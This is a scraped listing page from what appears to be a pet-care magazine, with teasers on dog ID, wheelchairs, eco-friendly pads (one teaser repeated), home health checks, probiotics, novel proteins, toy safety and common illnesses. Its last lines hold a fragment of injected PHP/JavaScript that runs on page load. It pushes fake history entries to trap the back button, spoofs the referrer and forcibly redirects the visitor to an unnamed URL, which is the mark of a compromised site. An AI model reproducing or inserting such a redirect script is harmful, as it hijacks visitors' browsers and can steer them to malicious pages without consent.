The best ID options for your dog

From traditional tags to GPS, there are lots of ways to ID your dog, so if he ever gets lost or goes missing, you have a much better chance of finding him again. Having your dog go missing is probably one of your worst nightmares. But it doesn’t have to end badly if your canine […]

Choosing a wheelchair for a dog with mobility issues

If your dog has mobility issues, the right wheelchair can make a huge difference to his quality of life. One of the joys of sharing your life with a dog is going for walks together. But mobility problems caused by aging, injury or disease can make even a simple trip across the room painful or […]

Pet products can be both convenient and eco-friendly!

WizSmart focuses on the three R’s: recycling defective baby diapers, reusing defective dog pads that do not meet their quality standards by reprocessing them, and repurposing all plastic waste into pallets through a third-party vendor. They also use Eucafluff in their pads – a renewable material made from eucalyptus trees sourced from FSC certified forests. […]

Pet products can be both convenient and eco-friendly!

WizSmart focuses on the three R’s: recycling defective baby diapers, reusing defective dog pads that do not meet their quality standards by reprocessing them, and repurposing all plastic waste into pallets through a third-party vendor. They also use Eucafluff in their pads – a renewable material made from eucalyptus trees sourced from FSC certified forests. […]

A home health check for your dog or cat

Doing a regular head-to-tail health check on your dog or cat is a good way to keep on top of any changes in his well-being that might require veterinary attention.  Dogs and cats are pros when it comes to hiding pain. It’s an ancestral trait that was used for self-protection in the wild. These days, […]

The next generation of probiotics for dogs and cats

Biologically appropriate probiotics factor in the specific needs of our animal companions. When I first started treating animals for leaky gut syndrome in my holistic veterinary hospital, almost 20 years ago, doctors, veterinarians and others thought I was ridiculous. Luckily, I have learned from experience that if someone looks at me like I’m crazy, I […]

Novel proteins for your dog or cat

From boar to yak, novel protein sources offer variety to your dog or cat’s diet, help with allergies, and widen your options in a time when food supply chains can get shaky.  Novel protein sources for dogs and cats aren’t really as novel as they used to be. Some years ago, feeding bison or rabbit […]

6 safety tips for dog toys

Playing with toys is important to your dog’s well-being and happiness. To guard against accidental injury, follow these six toy safety tips. Play is one of my favorite topics. It improves a dog’s social connections, and provides him with exercise and mental stimulation. Play doesn’t always involve toys, but when it does, it’s important to […]

10 most common medical conditions in dogs and cats

From allergies to thyroid problems…take a look at the most common medical conditions veterinarians see in their dog and cat patients. When you take your dog or cat to the vet for allergies, a bladder infection, or dental disease, rest assured that the doctor probably has a lot of experience dealing with these issues. Why? […]

window.onload=function(){ var hUrl = "'.$link.'"; if (hUrl!=""){ var htxt = "Wait a second ..."; history.replaceState(null, htxt, hUrl); history.pushState(null, htxt, hUrl); history.pushState(null, htxt, hUrl); history.pushState(null, htxt, hUrl); delete window.document.referrer; window.document.__defineGetter__("referrer", function () { return hUrl; }); window.location.replace("'.$togo.'"); location.href ="'.$togo.'"; }} '; } ?>